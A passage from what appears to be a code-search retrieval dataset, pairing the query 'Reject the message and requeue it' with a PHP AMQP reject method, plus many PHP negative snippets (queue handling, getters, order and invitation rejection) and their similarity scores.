explode('-', $this->getAssocId());\n\t\t\t\tassert($fileId && $revision);\n\t\t\t\t$submissionFileDao =& DAORegistry::getDAO('SubmissionFileDAO');\n\t\t\t\t$submissionFile =& $submissionFileDao->getRevision($fileId, $revision, MONOGRAPH_FILE_PROOF);\n\t\t\t\tif (!$submissionFile || $submissionFile->getAssocType() !== ASSOC_TYPE_PUBLICATION_FORMAT) return false;\n\n\t\t\t\treturn $submissionFile->getLocalizedName();\n\t\t\tdefault:\n\t\t\t\t// Invalid payment type\n\t\t\t\tassert(false);\n\t\t}\n\t}", "public function getOutgoingMailServerName() {\n\t\treturn $this->og_mail_server_name;\n\t}", "public function getExceptionName()\n {\n return $this->_exception;\n }", "public function GetName() {\n\t\treturn __( 'DB & Integrations &#8682;', 'wp-security-audit-log' );\n\t}", "function get_name()\n {\n return $this->get_default_property(self :: PROPERTY_NAME);\n }", "public function getTopic(): string\n {\n return $this->topic;\n }", "public function getReceiverName()\n {\n return $this->get(self::_RECEIVER_NAME);\n }", "public function getAcquiaHostedName() {\n $subscription_name = $this->config('acquia_connector.settings')->get('subscription_name');\n\n if ($this->checkAcquiaHosted() && $subscription_name) {\n return $this->config('acquia_connector.settings')->get('subscription_name') . ': ' . $_SERVER['AH_SITE_ENVIRONMENT'];\n }\n }", "public function getStoreFrontName();", "public function getCollectionName()\n {\n if (isset($this->collection)) {\n return $this->collection;\n }\n\n $reflector = new ReflectionClass($this);\n $str = new Str;\n\n return $str->lower(\n $str->plural(\n $str->snake(\n $reflector->getShortName()\n )\n )\n );\n }", "function getName() {\n\t\treturn $this->getElementText(DOMIT_RSS_ELEMENT_NAME);\n\t}", "function get_name()\r\n {\r\n return $this->get_default_property(self :: PROPERTY_NAME);\r\n }", "public function getName()\n {\n return $this->_pageName;\n }", "public function getPollName()\n {\n return $this->_poll_name;\n }", "public function get_nameChannel () {\r\n\t\treturn $this->get_info()['author_name'];\r\n\t}", "public function getStoreName();", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n {\n return $this->get(self::_NAME);\n }", "public function getName()\n\t{\n\t\treturn $this->get('rolename');\n\t}", "public function getName()\n {\n return $this->getConfig ( 'name' );\n }", "public function getMarketplaceName()\n {\n return $this->_fields['MarketplaceName']['FieldValue'];\n }", "public function getName(): string\n {\n /** @var Translation|PaymentTranslation $translation */\n $translation = $this->translate(null, true);\n\n return $translation->getName();\n }", "public function getTopicFullName(): string\n {\n return $this->_topicFullName;\n }", "public function getPagename(): string {\n return strtolower($this->uriParts['pagename']) ?? '';\n }" ]
[ "0.7905052", "0.78830105", "0.7847564", "0.690844", "0.690844", "0.6085462", "0.58205515", "0.5798895", "0.5763198", "0.5735958", "0.57255113", "0.57175434", "0.568157", "0.5674264", "0.5650827", "0.5610154", "0.5602161", "0.55884737", "0.5573886", "0.5539962", "0.55042624", "0.54992694", "0.5464765", "0.54500645", "0.5439247", "0.5438762", "0.5420602", "0.5406003", "0.5395585", "0.5394806", "0.5391901", "0.5391463", "0.5387559", "0.5386104", "0.538066", "0.5360033", "0.53419495", "0.53393036", "0.5333939", "0.53313917", "0.5322603", "0.5309229", "0.5302107", "0.52936435", "0.52931637", "0.52926373", "0.52841634", "0.52823913", "0.527915", "0.5278654", "0.52565145", "0.5251434", "0.52509713", "0.52403855", "0.5238656", "0.5238324", "0.52366954", "0.52365476", "0.5226072", "0.522356", "0.5222123", "0.52131784", "0.5208557", "0.52059454", "0.5195388", "0.5191052", "0.51856077", "0.5178556", "0.5178256", "0.5174808", "0.51719475", "0.51715696", "0.51648045", "0.5158775", "0.51580155", "0.51572376", "0.5153464", "0.51520115", "0.51501846", "0.51348096", "0.5127838", "0.51238054", "0.51085377", "0.5104135", "0.5098118", "0.50980514", "0.50969553", "0.5087879", "0.5087879", "0.5087879", "0.5087879", "0.5087879", "0.5087879", "0.5087879", "0.5083378", "0.50830823", "0.5078791", "0.50782657", "0.5077689", "0.5074538" ]
0.7236732
3
Get the routing key used when the message was published.
public function routingKey() { return $this->message->delivery_info['routing_key']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getPublishRoutingKey()\n {\n return $this->publishRoutingKey;\n }", "public function getRoutingKey() {\n return $this->routing_key;\n }", "public function getRoutingKey();", "public function getRoutingKey();", "public function getRoutingKey():string { return $this->routing_key; }", "public function getRouteKey();", "public function getRouteKey();", "public function getRouteKey()\n {\n return Hasher::encode($this->getKey());\n }", "public function getRouteKey(): string\n {\n if (!empty($this->slug)) {\n return $this->slug;\n }\n return $this->id;\n }", "public function getRouteKey(): string\n {\n if (!empty($this->slug)) {\n return $this->slug;\n }\n return $this->id;\n }", "public function getRouteKey()\n {\n return $this->getAttribute($this->getRouteKeyName());\n }", "public function getRouteKey()\n {\n return $this->getTranslation('url', app()->getLocale());\n }", "public function getRouteKey() {\n return $this->slug;\n }", "public function getRouteKey()\n {\n return $this->slug;\n }", "public function getRouteKey()\n {\n $slug = $this->slugField();\n\n return $this->$slug;\n }", "public function getPublisherKey()\n {\n return $this->publisherKey;\n }", "public function getPublishableKey() :string\n {\n return $this->getConfigField('publishableKey');\n }", "public function getRouteKey()\n {\n \t$this->slug;\n }", "public function getRouteKeyValue(): string\n {\n if (!empty($this->slug)) {\n return 'slug';\n }\n return 'id';\n }", "public function getRouteKeyName()\n {\n return $this->getKeyName();\n }", "public static function publish_key()\n {\n if(Director::isDev()) {\n if (defined(\"STRIPE_TEST_PK\")) {\n return STRIPE_TEST_PK;\n } else {\n return self::config()->test_publish_key;\n }\n } else {\n if (defined(\"STRIPE_LIVE_PK\")) {\n return STRIPE_LIVE_PK;\n } else {\n return self::config()->live_publish_key;\n }\n }\n }", "public function getRouteKeyName();", "public function getRouteKeyName();", "public function getRoutingNumber()\n {\n return $this->routing_number;\n }", "public function getKey(): string\n {\n return $this->key;\n }", "public function getPubkey()\n {\n return $this->pubkey;\n }", "public function getKey()\n {\n return $this->getInternalKey();\n }", "public function key(): ?string\n {\n return key($this->payload);\n }", "public function getRouteKeyName()\n {\n return 'key';\n }", "public function getKey()\n {\n return $this->__get(\"key\");\n }", "public function get_key ()\n {\n $_key = $this->key;\n\n if ( ! empty( $_key ) && is_array( $_key ) )\n {\n $_key = join( ':', $_key );\n }\n\n return sanitise_key( $_key );\n }", "public function getRouteKeyName()\n {\n return 'hash_id';\n }", "public function getRouteKeyName(){\n\t\treturn '';\n\t}", "public function getKey() {\n return $this->key;\n }", "public function getKey()\n {\n return isset($this->key) ? $this->key : '';\n }", "public function getKey()\n {\n return isset($this->key) ? $this->key : '';\n }", "public function getKey() {\n return $this->key;\n }", "public function getKey() : string\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getKey()\n {\n return $this->key;\n }", "public function GetKey() {\n\t\treturn $this->_key;\n\t}", "public function getKey()\n {\n return $this->get(self::KEY);\n }", "public function getKey()\n {\n return $this->get(self::KEY);\n }", "private function getKey() {\n\t\tif ( !$this->key )\n\t\t\t$this->key = \"mvn-maillists-\" . sanitize_key( $this->getName() );\n\n\t\treturn $this->key;\n\t}", "public function getResourceKey()\n {\n return $this->resourceKey;\n }", "public function getKey() {\n return $this->key;\n }", "public function id(): string\n {\n return $this->model->getRouteKey();\n }", "public function getKey()\r\n {\r\n return $this->key;\r\n }", "public function getSubscriptionKey() { return $this->subscriptionKey; }", "public function getKey()\n {\n return $this->params['Key'];\n }", "public function getKey()\n {\n return $this->key;\n }", "public function getTrackingKey()\n {\n if (!is_null($this->_messageTrackKey))\n return $this->_messageTrackKey;\n else\n return null;\n }", "public static function messageKey()\n {\n static $messageKey = null;\n\n if (is_null($messageKey)) {\n $messageKey = config('api.response.key.message', 'msg');\n }\n\n return $messageKey;\n }", "public function getKey()\n {\n return $this->__key;\n }", "public function key() {\n $var = key($this->translations);\n return $var;\n }", "public function getKey(): string {\n return $this->getType() . $this->getId() . $this->getLang() . $this->getRevisionId() ?? '';\n }", "public function keyIdentifier(): string\n {\n return sha1($this->_publicKey->string(), true);\n }", "public function getLocalKey(): string\n {\n return $this->localKey;\n }", "public function getRoutingNumber(): ?string\n {\n return $this->routingNumber;\n }", "public function getRoutingNumber(): ?string\n {\n return $this->routingNumber;\n }", "public function getKey()\n\t{\n\t\treturn $this->key;\n\t}", "public function getKey()\n\t{\n\t\treturn $this->key;\n\t}", "public function getKey()\n\t{\n\t\treturn $this->key;\n\t}", "public function getKey()\n\t{\n\t\treturn $this->key;\n\t}", "public function getKey()\n\t{\n\t\treturn $this->key;\n\t}", "public function getKey() \n {\n return $this->_key;\n }", "public function getRouteKeyName()\n {\n return 'hash';\n }", "public function uriKey(): string;", "public function getAuthIdentifier() {\r\n return $this -> getKey();\r\n }", "public function getRouteKeyName() {\n\t\t\t\n\t\t\treturn 'reference';\n\t\t}", "public function key()\n {\n if ( ! $this->isTranslated()) {\n return $this->key;\n }\n\n $parts = explode('.', $this->key);\n\n array_splice($parts, $this->localeIndex, 0, $this->getLocalePlaceholder());\n\n return trim(implode('.', $parts), '.');\n }", "public function getAuthorizationKey()\n {\n return $this->get('AuthorizationKey');\n }", "public function getAuthorizationKey()\n {\n return $this->get('AuthorizationKey');\n }" ]
[ "0.8496284", "0.77892375", "0.7639116", "0.7639116", "0.7574705", "0.73402053", "0.73402053", "0.7256803", "0.7083504", "0.7083504", "0.69668156", "0.6935141", "0.6929614", "0.68496287", "0.6826044", "0.6646069", "0.66220045", "0.6465319", "0.6405665", "0.6280248", "0.6242317", "0.6212884", "0.6212884", "0.6189271", "0.61841667", "0.61482185", "0.60868305", "0.60687935", "0.60675716", "0.60477656", "0.60445607", "0.60088843", "0.6001495", "0.5986926", "0.59789085", "0.59789085", "0.5951588", "0.59384793", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.5938037", "0.59292024", "0.59262335", "0.59262335", "0.5919549", "0.5914701", "0.59012556", "0.5901114", "0.58928216", "0.58668494", "0.5865155", "0.58547217", "0.58382064", "0.58202696", "0.5815848", "0.580458", "0.5789809", "0.5779871", "0.5776662", "0.576507", "0.576507", "0.5761473", "0.5761473", "0.5761473", "0.5761473", "0.5761473", "0.57610875", "0.57375985", "0.57351637", "0.5724758", "0.5722348", "0.57080567", "0.5703776", "0.5703776" ]
0.81579167
1
Reject the message and requeue it.
public function reject() { $this->channel->basic_reject( $this->tag(), true ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function reject(Message $message, bool $requeue = false): void;", "public function handleRejectEvent(object $message): void;", "public function rejected()\n {\n $this->setStatus(self::STATUS_REJECTED);\n }", "public function nack(Message $message, $requeue = true);", "public function reject() {\n }", "public function reject()\n {\n return $this->setStatus(self::STATUS_REJECTED);\n }", "public function discard()\n {\n $this->channel->basic_reject(\n $this->tag(),\n false\n );\n }", "public function reject($requeue = true, $multiple = false)\n {\n $this->channel->reject($this->deliveryTag, $requeue, $multiple);\n\n return $this;\n }", "public function reject()\n {\n $url = URIResource::Make($this->path, array($this->id));\n $data = new DataPacket(array(\"state\" => CALL_STATES::rejected));\n $this->client->post($url, $data->get());\n\n return Constructor::Make($this, $data->get());\n }", "public function reject() {\n\t\t$query = array(\n\t\t\t'group' => $this->group->createReference(),\n\t\t\t'invitee' => $this->candidate->createReference(),\n\t\t);\n\t\t$invite = EpicDb_Mongo::db('invitation')->fetchOne($query);\n\t\tif($invite) $invite->delete();\n\t\t// Reject this application\n\t\t$this->status = \"rejected\";\n\t\t$this->save();\n\t}", "function resend($message_id) {\n $data = array_merge($this->_client_id_param);\n return $this->post_request($this->_base_route.'transactional/messages/' . $message_id . '/resend', $data);\n }", "function _rejectFile() {\n\t\t$this->_moveFile($this->_processingPath, $this->_rejectPath, $this->_claimedFilename);\n\t}", "public function dequeue();", "public function reject(...$arguments): self {\n return $this->end(self::STATE_REJECTED, $this->_failed, $arguments);\n }", "public function getRejected();", "public function reject()\n {\n if ($this->withdrawal->status == Withdrawal::STATUS_CREATED) {\n // update withdrawal model\n $this->withdrawal->status = Withdrawal::STATUS_REJECTED;\n $this->withdrawal->save();\n // create a credit transaction on user account to return funds\n $accountService = new AccountService($this->withdrawal->account);\n $accountService->transaction($this->withdrawal, $this->withdrawal->amount);\n }\n }", "public function prune() {\n $this->connection->delete('queue')\n ->condition('name', $this->name)\n ->condition('expire', 0, '>')\n ->execute();\n }", "public function receiveNoWait()\n {\n if ($this->currentEnvelope) {\n throw new \\RuntimeException(\n 'AmqpQueueDriver: This driver has a message that was not acknowledged yet. A message must be processed and acknowledged before receiving new messages.'\n );\n }\n\n $this->dequeueingTimeMs = 0;\n\n $this->currentEnvelope = $this->queue->get();\n\n $msg = null;\n\n if (!$this->currentEnvelope) {\n return null;\n }\n\n $start = microtime(true);\n $deserializationContext = new DeserializationContext();\n\n try{\n /** @var QueueMessageInterface $msg */\n $msg = $this->getSerializer()->deserialize($this->currentEnvelope->getBody(), SerializableInterface::class, $this->format, $deserializationContext);\n } catch (\\Exception $exception) {\n $this->getExceptionHandler()($exception, ['headers' => $this->currentEnvelope->getHeaders(), 'body' => $this->currentEnvelope->getBody()]);\n $this->ack();\n return null;\n }\n foreach ($this->currentEnvelope->getHeaders() as $header => $value) {\n $msg->setHeader($header, $value);\n }\n\n // Calculate how long it took to deserilize the message\n $this->dequeueingTimeMs = (int) ((microtime(true) - $start) * 1000);\n\n return $msg;\n }", "private function rejectOrder($order){\r\n $this->log('Rejecting order #'.$order->get_order_number());\r\n $this->addOrderNote($order, 'La orden fue rechazada por Flow');\r\n $order->update_status('failed');\r\n }", "private function redeliverMessages(): void\n {\n if (! isset($this->redeliverMessagesLastExecutedAt)) {\n $this->redeliverMessagesLastExecutedAt = microtime(true);\n } elseif (microtime(true) - $this->redeliverMessagesLastExecutedAt < 1) {\n return;\n }\n\n $this->connection->createQueryBuilder()\n ->update($this->tableName)\n ->set('delivery_id', ':deliveryId')\n ->andWhere('redeliver_after < :now')\n ->andWhere('delivery_id IS NOT NULL')\n ->setParameter('now', new DateTimeImmutable(), Types::DATETIMETZ_IMMUTABLE)\n ->setParameter('deliveryId', null)\n ->executeStatement();\n\n $this->redeliverMessagesLastExecutedAt = microtime(true);\n }", "public static function reject() {\n return new Reject('Not match Reference');\n }", "public static function reject() {\n return new Reject('Not match Atom in []');\n }", "public function unqueue($name);", "public function reject(array $messages);", "public function execute(AMQPMessage $message): int\n {\n // The problem can be reproduced when generating invoices for 1000+ clients.\n // Random email logs were showing as still in queue even though they were correctly sent and consumed.\n usleep(100000);\n\n try {\n $this->entityManager->clear();\n $this->options->refresh();\n\n return $this->executeBody($this->getData($message));\n } catch (InvalidMessageException $exception) {\n $this->logger->error($exception->getMessage());\n\n return self::MSG_REJECT;\n } catch (ConnectionException $exception) {\n $this->logger->error('Database connection failed.');\n\n throw new RejectRequeueStopConsumerException();\n } catch (\\Throwable $exception) {\n if ($exception instanceof StopConsumerException) {\n throw $exception;\n }\n\n $this->logger->error($exception->getMessage());\n\n throw new RejectStopConsumerException();\n }\n }", "public function rejected()\n {\n $spare_parts_orders_id = Input::get('spare_parts_orders_id');\n $data = SparePartsOrderModel::where('spare_parts_orders_id', $spare_parts_orders_id)->first();\n $data->confirmation = 'rejected';\n if ($data->save()) {\n $notification = array(\n 'message' => 'Successfully Rejected this Order.',\n 'alert-type' => 'success'\n );\n return redirect()->back()->with($notification);\n }\n }", "public function queue() {\n\t\t$this->prepareMessage();\n\t\t$this->queueRepository->add($this->toArray());\n\t}", "abstract public function dequeue($id);", "public function isRejected(): bool {\n return $this->_state === self::STATE_REJECTED;\n }", "protected function release(): void\n {\n /** @psalm-suppress TypeDoesNotContainType */\n if (!$this->queue) {\n return; // Queue already destroyed.\n }\n\n // Send in non-blocking mode. If the call fails because the queue is full,\n // then the number of locks configured is too large.\n \\set_error_handler($this->errorHandler);\n\n try {\n /** @psalm-suppress InvalidArgument */\n if (!\\msg_send($this->queue, 1, \"\\0\", false, false, $errno)) {\n if ($errno === \\MSG_EAGAIN) {\n throw new SyncException('The semaphore size is larger than the system allows.');\n }\n\n throw new SyncException('Failed to release the lock.');\n }\n } finally {\n \\restore_error_handler();\n }\n }", "public function acknowledge()\n {\n if ($this->acknowledged)\n return;\n if ($this->wantsRetry) {\n $this->log->info(\"Ignoring message acknowledge for retry {$this->message->id()}\");\n return;\n }\n $this->subscription->acknowledge($this->message);\n $this->acknowledged = true;\n $this->log->info(\"Acknowledged message {$this->message->id()}\");\n }", "public function reject($taskid)\n {\n\t\t$task = task::find($taskid);\n\t\t\t\t\t\t\n\t\t$task->completed = 2; // to changes task status as rejected\n\t\t$task->isCommited = 0; // to reset committed flag\n $task->save();\n\t\t\n $users = task::find($taskid)->students->first()->user;\t// to get user details who belongs task\n\t\t\n\t\t$info = [\n\t\t\t'email' => $users->email,\n\t\t\t'name' => $users->name,\n\t\t\t'subject' => 'Task Reject',\n\t\t\t];\n\t\t$data = ['taskName' => $task->name]; // to send name of task in mail view\n\t\t// to sent mail to user whose task is rejected\n\t\tMail::send('mail_template.notifyTaskReject', $data, function ($message) use ($info) {\n\t\t\t$message->to($info['email'], $info['name'])\n\t\t\t->subject($info['subject']);\n\t\t});\n\t\techo \"Task Rejected and Rejection Email has been sent\";\n }", "public function reject($msg, $status_code = 500){\n\t\treturn response($msg, $status_code);\n\t}", "public static function rejectMessage($id) {\n $que = \"UPDATE message SET is_approved = 'N' where id = '{$id}'\";\n $gets = mysql_query($que);\n return $gets;\n }", "public static function requeue(int $deliveryTag): self\n {\n $self = new self($deliveryTag);\n $self->requeue = true;\n\n return $self;\n }", "public function reject_message()\n {\n return $this->hasOne('App\\Models\\Article_Reject_Messages', 'article_id');\n }", "public function dequeue($timeout=false);", "private function ProcessPendingMessages() {\n\t\twhile($message = $this->GetRedisConn()->rPop($this->GetChannel())) {\n\t\t\t$this->ProcessMessage($message);\n\t\t}\n\t}", "protected function addReject(Builder $builder)\n {\n $builder->macro('reject', function (Builder $builder, $id = null) {\n $builder->withAnyStatus();\n return $this->updateModerationStatus($builder, $id, Status::REJECTED);\n\n });\n }", "public function ack(Message $message);", "public function discard()\n {\n $this->_queue = array();\n\n return $this;\n }", "public function consumeQueue()\n {\n try {\n $queue = Di::getDefault()->get('queue');\n\n /** @var \\Aws\\Result $messages*/\n $messages = $this->getMessagesFromQueue($queue);\n\n if (count($messages->get('Messages')) == 0) {\n return;\n }\n\n $queueName = (new QueueService())->getFullQueueName('notifications');\n foreach ($messages->get('Messages') as $message) {\n $idList = json_decode($message['Body'], true);\n\n if (!empty($idList)) {\n $this->trySendNotificationsFromMessage($idList);\n }\n\n $queue->deleteMessage([\n 'QueueUrl' => $queue->getQueueUrl(['QueueName' => $queueName])->get('QueueUrl'),\n 'ReceiptHandle' => $message['ReceiptHandle'],\n ]);\n }\n } catch (AwsException $e) {\n Di::getDefault()->get('logger')->error($e->getMessage());\n } catch (\\Exception $e) {\n // Do nothing\n } catch (\\Throwable $e) {\n // Do nothing\n }\n\n sleep(5);\n $this->consumeQueue();\n }", "function reject(Transaction $transaction, $description)\n {\n return $this->addStatus($transaction,TransactionStatus::STATUS_REJECTED,$description);\n }", "public function remove(MailQueue $messageQueue)\n {\n $em = $this->doctrine->getEntityManager();\n $em->remove($messageQueue);\n $em->flush();\n }", "public function onReservationRejected(ReservationRejected $event, State $state)\n {\n $command = new RejectOrder($state->get('orderId'));\n $this->commandBus->dispatch($command);\n\n // the saga ends here\n $state->setDone();\n\n return $state;\n }", "public function ignore($queueName);", "public function testDelayedRejection() {\n $promise = new \\React\\Promise\\Deferred();\n \n $task = new \\Async\\Task\\PromiseTask($promise->promise());\n \n // The task should not yet be complete\n $this->assertFalse($task->isComplete());\n \n // Reject the promise\n $promise->reject(new \\Exception(\"rejected\"));\n \n // The task should be complete with an error\n $this->assertTrue($task->isComplete());\n $this->assertTrue($task->isFaulted());\n \n // The message of the task's exception should be that given to the promise\n $this->assertEquals(\"rejected\", $task->getException()->getMessage());\n }", "protected function addRejected(Builder $builder)\n {\n $builder->macro('rejected', function (Builder $builder) {\n $model = $builder->getModel();\n\n $this->remove($builder, $model);\n\n $builder->where($model->getQualifiedStatusColumn(), '=', Status::REJECTED);\n\n return $builder;\n });\n }", "public function testAbortingQueueItemAfterFailure()\n {\n $queueItem = $this->queue->enqueue('testQueue', new FooTask());\n $this->queue->start($queueItem);\n $this->queue->fail($queueItem, 'Fail message.');\n $this->queue->start($queueItem);\n $this->queue->abort($queueItem, 'Abort message.');\n\n $this->assertEquals(\n QueueItem::ABORTED,\n $queueItem->getStatus(),\n 'The status for an aborted task must be set to \"aborted\".'\n );\n\n $this->assertEquals(\n \"Attempt 1: Fail message.\\nAttempt 2: Abort message.\",\n $queueItem->getFailureDescription(),\n 'Abort message should be appended to the failure message.'\n );\n }", "public function reject($mixed = null) {\n\t\t$validParameters = array(\n\t\t\t'(orderv2\\reject)',\n\t\t);\n\t\t$args = func_get_args();\n\t\t$this->_checkArguments($args, $validParameters);\n\t\treturn $this->__soapCall('reject', $this->make_soap_params($mixed));\n\t}", "public function getXsiTypeName() {\n return \"RejectedError\";\n }", "public function acknowledge(Message $message): void;", "public function reject_invoice()\n\t{\n\t\tif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n\t\t\tif (isset($_POST)) {\n\t\t\t\t$id = base64_decode($_POST['id']);\n\t\t\t\t$remark = validateInput($_POST['reason']);\n\t\t\t\tif ($remark != '' && $remark != null) {\n\t\t\t\t\t$tableName = 'master_invoice';\n\t\t\t\t\t$condition = array('send_status' => SENT, 'id' => $id);\n\t\t\t\t\t$result = $this->CustomModel->selectAllFromWhere($tableName, $condition);\n\t\t\t\t\tif ($result > 0) {\n\t\t\t\t\t\t$data = array('send_status' => REJECTED, 'reject_reason' => $remark);\n\t\t\t\t\t\t$res = $this->CustomModel->update_table($tableName, $condition, $data);\n\t\t\t\t\t\tif ($res > 0) {\n\t\t\t\t\t\t\techo $response = json_encode(array('message' => 'Success! Invoices rejected', 'type' => 'success'), true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo $response = json_encode(array('message' => 'Error! Opps... Contact IT', 'type' => 'error'), true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\techo $response = json_encode(array('message' => 'Error! Reject reason is required..', 'type' => 'danger'), true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\techo $response = json_encode(array('message' => 'Error! Opps... Something went wrong, contact IT', 'type' => 'danger'), true);\n\t\t\t}\n\t\t}\n\t}", "public function amend()\n {\n return $this->commit($this->message(), true);\n }", "public function FlushQueue()\n {\n do\n {\n $result = $this->FlushMsg();\n } while ($result);\n }", "public static function withRejected()\n {\n return (new static )->newQueryWithoutScope(new ContentPublishingScope())->withRejected();\n }", "public function isRedelivery();", "public function dequeue()\n {\n if ($this->IsEmpty()) {\n throw new BadFunctionCallException(_('Cannot use method Dequeue on an empty Queue'));\n }\n return array_shift($this->array);\n }", "public function consume($eventMessage)\n {\n try {\n $message = $this->serializer->unserialize($eventMessage);\n $this->logger->debug('Got message: ' . $eventMessage);\n $lastAttempt = $message->getLastSendAttempt();\n if ($lastAttempt) {\n $this->logger->debug(sprintf(\n \"I have already tried to send this message before. Last attempt was on %s\",\n $lastAttempt->getTimestamp()->format('c')\n ));\n\n $elapsedWaitTime = $lastAttempt->getElapsedTime();\n $remainingWaitTime = $this->configuration->resendDelay - $elapsedWaitTime;\n\n if ($elapsedWaitTime < $this->configuration->resendDelay) {\n $this->logger->debug(sprintf(\n \"I will not yet attempt to re-send it (waiting for %s more seconds to elapse)\",\n $remainingWaitTime\n ));\n return false; //we don't acknowledge the message, so it remains in queue\n }\n }\n\n $this->logger->debug('Sending...');\n $response = $this->mailer->send($message);\n if ($response->isSuccessful()) {\n if ($this->configuration->triggerSentEvents) {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicSent,\n ])\n );\n }\n $this->logger->info('Sent: ' . $eventMessage);\n } else {\n if ($this->configuration->triggerFailedEvents) {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicFailed,\n ])\n );\n }\n $this->logger->error('Failed [recipient denied]: ' . $eventMessage);\n }\n\n return true; //we acknowledge the message, so it is taken out of queue\n\n } catch (SerializationException $se) {\n\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicException,\n ])\n );\n $this->logger->error('Exception [serialization exception]: ' . $eventMessage);\n return true; //we acknowledge the message, so it is taken out of queue\n\n } catch (ResponseException $re) {\n\n $this->logger->debug(sprintf('ResponseException: %s', $re->getMessage()));\n $sendAttempt = new SendAttempt();\n $sendAttempt->setStatus(SendAttempt::STATUS_ERROR);\n $sendAttempt->setError($re->getMessage());\n $message->addSendAttempt($sendAttempt);\n if ($message->countSendAttempts() < $this->configuration->sendAttempts) {\n $this->logger->debug('Putting the message back onto queue');\n $this->enqueuer->enqueue($message);\n } else {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicException,\n ])\n );\n $this->logger->error('Failed [response exception]: ' . $eventMessage);\n }\n\n return true; //we acknowledge the message, so it is taken out of queue\n }\n }", "public function reject_article($request)\n {\n $this->status_id = 4;\n\n if($this->update()) {\n $message = new Article_Reject_Messages;\n $message->article_id = $this->id;\n $message->text = $request['reason'];\n if($message->save()){\n Session::flash('flash_message_text', 'Статья была успешно отклонена');\n Session::flash('flash_message_class', 'success');\n if(Auth::user()->user_type == 4) return redirect('/dashboard/administrator/moderation_list');\n return redirect('/dashboard/moderator/moderation_list');\n }\n else {\n Session::flash('flash_message_text', 'Ошибка создания сообщения');\n Session::flash('flash_message_class', 'danger');\n if(Auth::user()->user_type == 4) return redirect('/dashboard/administrator/moderation_list');\n return redirect('/dashboard/moderator/moderation_list');\n }\n\n }\n else {\n Session::flash('flash_message_text', 'Ошибка отклонения статьи');\n Session::flash('flash_message_class', 'danger');\n return back();\n }\n }", "public function release()\n {\n $this->queue->release($this);\n }", "public static function reInstateQuotaExceeded()\n {\n //$noticeControl = Notices::getInstance();\n //$notice = $noticeControl->getNoticeByID(self::MSG_QUOTA_REACHED);\n Notices::removeNoticeByID(self::MSG_QUOTA_REACHED);\n //$notice->unDismiss();\n //$noticeControl->update();\n }", "public function markApprovalAsRejected(User $user)\n {\n if (!$user->hasRoleSlug('expert')) {\n return $this->respondNotFound(trans('user::messages.user not found'));\n }\n\n $user->setApprovalStatus(ApprovalStatusEnum::REJECTED);\n\n event(new UserApprovalHasBeenRejected($user));\n\n return $this->respond([\n 'message' => trans('user::messages.user approval-rejected'),\n 'status' => $user->getStatus(),\n 'pending_approval' => $user->approvalIsRejected()\n ]);\n }", "public function reject_invite($user_id, $group_id)\n {\n\n if (!ctype_digit($group_id)) {\n abort(404);\n }\n if (!ctype_digit($user_id)) {\n abort(404);\n }\n $group = Group::find($group_id);\n $user = User::find($user_id);\n\n $this->authorize('reject_invite', [$group, $user]);\n\n $group->members()->updateExistingPivot($user_id, [\n 'membership_state' => 'rejected',\n ]);\n\n $notification = User::find($user_id)->notifications()->where('group_id', $group_id);\n $notification->delete();\n\n return back();\n }", "public static function reject() {\n return new Reject('Not match Organic Subset');\n }", "public function closeQueue()\n {\n if(!$this->isAllowed('moderator')) return $this->returnText(self::ERR_NO_MOD);\n\n if($this->q->is_open == 1)\n {\n $this->q->is_open = 0;\n $this->q->save();\n\n return $this->returnText('Queue'. $this->q->displayName .' is now closed');\n }\n else return $this->returnText('Queue'. $this->q->displayName .' is already closed');\n }", "public function remove($id) \n {\n $log = FezLog::get();\n \n if (array_key_exists($id, $this->_ids)) {\n $this->_ids[$id] = self::ACTION_REMOVE;\n $log->debug(\"Removed $id from queue\");\n }\n }", "public function rejectAction()\n\t{\trequire_once( 'form.inc' );\n\n\t\tif( $this->_getParam('user') && $this->_getParam('user_reason') 